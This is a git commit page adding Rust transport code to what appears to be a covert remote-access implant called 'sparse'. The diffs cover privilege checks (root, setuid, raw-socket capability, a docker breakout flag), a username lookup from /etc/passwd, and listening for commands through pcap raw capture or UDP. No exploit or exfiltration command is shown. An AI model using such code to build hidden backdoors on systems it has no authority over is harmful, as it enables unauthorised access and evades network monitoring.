feat: added transport layers for sparse 0.5 target

This commit is contained in:
Andrew Rioux 2023-09-02 15:26:58 -04:00
parent aecf1c9b80
commit d7a0deba0c
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
4 changed files with 166 additions and 59 deletions

View File

@ -76,7 +76,7 @@ pub mod messages {
DownloadFileSegment(u64, u64, Vec<u8>), DownloadFileSegment(u64, u64, Vec<u8>),
} }
#[derive(Serialize, Deserialize, Debug)] #[derive(Serialize, Deserialize, Debug, Clone, Copy)]
pub enum TransportType { pub enum TransportType {
RawUdp, RawUdp,
Udp, Udp,
@ -88,6 +88,7 @@ pub mod messages {
pub docker_breakout: bool, pub docker_breakout: bool,
pub setuid: bool, pub setuid: bool,
pub root: bool, pub root: bool,
pub userent: Option<String>,
pub transport: TransportType, pub transport: TransportType,
} }
} }

View File

@ -23,6 +23,24 @@ struct cap_user_data_t {
inheritable: u32, inheritable: u32,
} }
fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
let passwd = std::fs::read_to_string("/etc/passwd")?;
Ok(passwd.split("\n").find_map(|row| -> Option<String> {
let mut entries = row.split(":");
let name = entries.next()?;
entries.next()?;
let euid = entries.next()?.parse::<u32>().ok()?;
if euid == uid {
Some(name.to_string())
} else {
None
}
}))
}
pub fn get_capabilities() -> anyhow::Result<Capabilities> { pub fn get_capabilities() -> anyhow::Result<Capabilities> {
let mut header = cap_user_header_t { let mut header = cap_user_header_t {
version: 0x20080522, version: 0x20080522,
@ -42,19 +60,22 @@ pub fn get_capabilities() -> anyhow::Result<Capabilities> {
let docker_container = false; let docker_container = false;
let docker_breakout = false; let docker_breakout = false;
let root = unsafe { libc::getuid() } == 0; let uid = unsafe { libc::getuid() };
let root = uid == 0;
let setuid = data.effective & CAP_SETUID != 0; let setuid = data.effective & CAP_SETUID != 0;
let transport = if data.effective & CAP_NET_RAW != 0 || root { let transport = if data.effective & CAP_NET_RAW != 0 || root {
TransportType::RawUdp TransportType::RawUdp
} else { } else {
TransportType::Udp TransportType::Udp
}; };
let userent = get_username(uid)?;
Ok(Capabilities { Ok(Capabilities {
docker_container, docker_container,
docker_breakout, docker_breakout,
setuid, setuid,
root, root,
userent,
transport, transport,
}) })
} }

View File

@ -1,26 +1,88 @@
use std::{net::UdpSocket, sync::Arc}; use std::{
net::{Ipv4Addr, SocketAddrV4, UdpSocket},
sync::Arc,
};
use anyhow::{anyhow, bail};
use pcap_sys::packets::{self, EthernetPkt};
use sparse_05_common::messages::TransportType;
pub enum Interface { pub enum Interface {
RawUdp(pcap_sys::Interface<pcap_sys::DevActivated>), RawUdp(pcap_sys::Interface<pcap_sys::DevActivated>, u16),
Udp(UdpSocket), Udp(UdpSocket, u16),
} }
impl Interface { impl Interface {
pub fn split(self) -> (InterfaceSender, InterfaceReceiver) { pub fn new(ttype: TransportType, port: u16) -> anyhow::Result<Interface> {
match ttype {
TransportType::RawUdp => {
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
let interface_name = interfaces
.find(|eth| eth.starts_with("eth") || eth.starts_with("en"))
.ok_or(anyhow!("could not get an ethernet interface"))?;
let mut interface = loop {
macro_rules! retry {
($e:expr) => {{
match $e {
Ok(res) => res,
Err(e) => {
eprintln!(
"unable to open interface, sleeping for one second... ({:?})",
e
);
std::thread::sleep(std::time::Duration::from_millis(1000));
continue;
}
}
}};
}
let mut interface = retry!(pcap_sys::Interface::<pcap_sys::DevDisabled>::new(
&interface_name
));
retry!(interface.set_buffer_size(8192));
retry!(interface.set_non_blocking(false));
retry!(interface.set_promisc(false));
retry!(interface.set_timeout(10));
let mut interface = retry!(interface.activate());
retry!(interface.set_filter(&format!("inbound and port {port}"), true, None));
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
bail!("interface does not properly support ethernet");
}
break interface;
};
Ok(Interface::RawUdp(interface, port))
}
TransportType::Udp => Ok(Interface::Udp(
UdpSocket::bind(&format!("0.0.0.0:{port}"))?,
port,
)),
}
}
pub fn split(self) -> anyhow::Result<(InterfaceSender, InterfaceReceiver)> {
match self { match self {
Self::RawUdp(interface) => { Self::RawUdp(interface, port) => {
let arc = Arc::new(interface); let arc = Arc::new(interface);
( Ok((
InterfaceSender::RawUdp(Arc::clone(&arc)), InterfaceSender::RawUdp(Arc::clone(&arc)),
InterfaceReceiver::RawUdp(arc), InterfaceReceiver::RawUdp(arc),
) ))
} }
Self::Udp(interface) => { Self::Udp(interface, port) => {
let other = interface.try_clone().unwrap(); let other = interface.try_clone()?;
( Ok((
InterfaceSender::Udp(interface), InterfaceSender::Udp(interface),
InterfaceReceiver::Udp(other), InterfaceReceiver::Udp(other, port),
) ))
} }
} }
} }
@ -31,7 +93,70 @@ pub enum InterfaceSender {
Udp(UdpSocket), Udp(UdpSocket),
} }
impl InterfaceSender {
pub fn sendpacket(&self, packet: EthernetPkt) -> anyhow::Result<()> {
match self {
Self::RawUdp(interf) => Ok(interf.sendpacket(packet)?),
Self::Udp(interf) => {
use pcap_sys::packets::*;
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
let addr = SocketAddrV4::new(ip_pkt.dest_ip(), udp_pkt.dstport());
interf.send_to(udp_pkt.get_data(), addr)?;
Ok(())
}
}
}
}
pub enum InterfaceReceiver { pub enum InterfaceReceiver {
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>), RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>),
Udp(UdpSocket), Udp(UdpSocket, u16),
}
impl InterfaceReceiver {
pub fn listen<F>(&self, f: F) -> anyhow::Result<()>
where
F: Fn(packets::EthernetPacket) -> anyhow::Result<()>,
{
match self {
Self::RawUdp(interf) => interf.listen(
move |_, packet| {
(f)(packet.to_owned());
Ok(false)
},
false,
-1,
),
Self::Udp(interf, port) => loop {
use pcap_sys::packets::*;
let mut buf = [0u8; 2000];
let Ok((count, from)) = interf.recv_from(&mut buf) else { continue; };
let udp_packet = UDPPacket::construct(from.port(), *port, &buf[..count]);
let ip_packet = IPv4Packet::construct(
match from.ip() {
std::net::IpAddr::V4(a) => a,
std::net::IpAddr::V6(_) => continue,
},
Ipv4Addr::new(0, 0, 0, 0),
&Layer4Packet::UDP(udp_packet),
);
let ether_packet = EthernetPacket::construct(
[0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0],
&Layer3Packet::IPv4(ip_packet),
);
(f)(ether_packet);
},
};
Ok(())
}
} }

View File

@ -37,60 +37,20 @@ fn main() -> anyhow::Result<()> {
(port, Arc::new(pubkey)) (port, Arc::new(pubkey))
}; };
let mut interfaces = pcap_sys::PcapDevIterator::new()?; let interface = interface::Interface::new(capabilities.transport, port)?;
let interface_name = interfaces let (interface_sender, interface_receiver) = interface.split()?;
.find(|eth| eth.starts_with("eth") || eth.starts_with("en"))
.ok_or(anyhow!("could not get an ethernet interface"))?;
let mut interface = loop {
macro_rules! retry {
($e:expr) => {{
match $e {
Ok(res) => res,
Err(e) => {
eprintln!(
"unable to open interface, sleeping for one second... ({:?})",
e
);
std::thread::sleep(std::time::Duration::from_millis(1000));
continue;
}
}
}};
}
let mut interface = retry!(pcap_sys::Interface::<pcap_sys::DevDisabled>::new(
&interface_name
));
retry!(interface.set_buffer_size(8192));
retry!(interface.set_non_blocking(false));
retry!(interface.set_promisc(false));
retry!(interface.set_timeout(10));
let mut interface = retry!(interface.activate());
retry!(interface.set_filter(&format!("inbound and port {port}"), true, None));
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
bail!("interface does not properly support ethernet");
}
break Arc::new(interface);
};
let mut connections: HashMap<(Ipv4Addr, u16), ConnectionHandle> = HashMap::new(); let mut connections: HashMap<(Ipv4Addr, u16), ConnectionHandle> = HashMap::new();
let (send_eth_packet, recv_eth_packet) = channel::<EthernetPacket>(); let (send_eth_packet, recv_eth_packet) = channel::<EthernetPacket>();
{ {
let interface = Arc::clone(&interface);
thread::spawn(move || loop { thread::spawn(move || loop {
let Ok(packet) = recv_eth_packet.recv() else { continue }; let Ok(packet) = recv_eth_packet.recv() else { continue };
if let Err(_) = interface.sendpacket(packet.pkt()) {} if let Err(_) = interface_sender.sendpacket(packet.pkt()) {}
}); });
} }
interface.listen(move |_, _| Ok(false), false, -1); interface_receiver.listen(move |_| Ok(()))?;
Ok(()) Ok(())
} }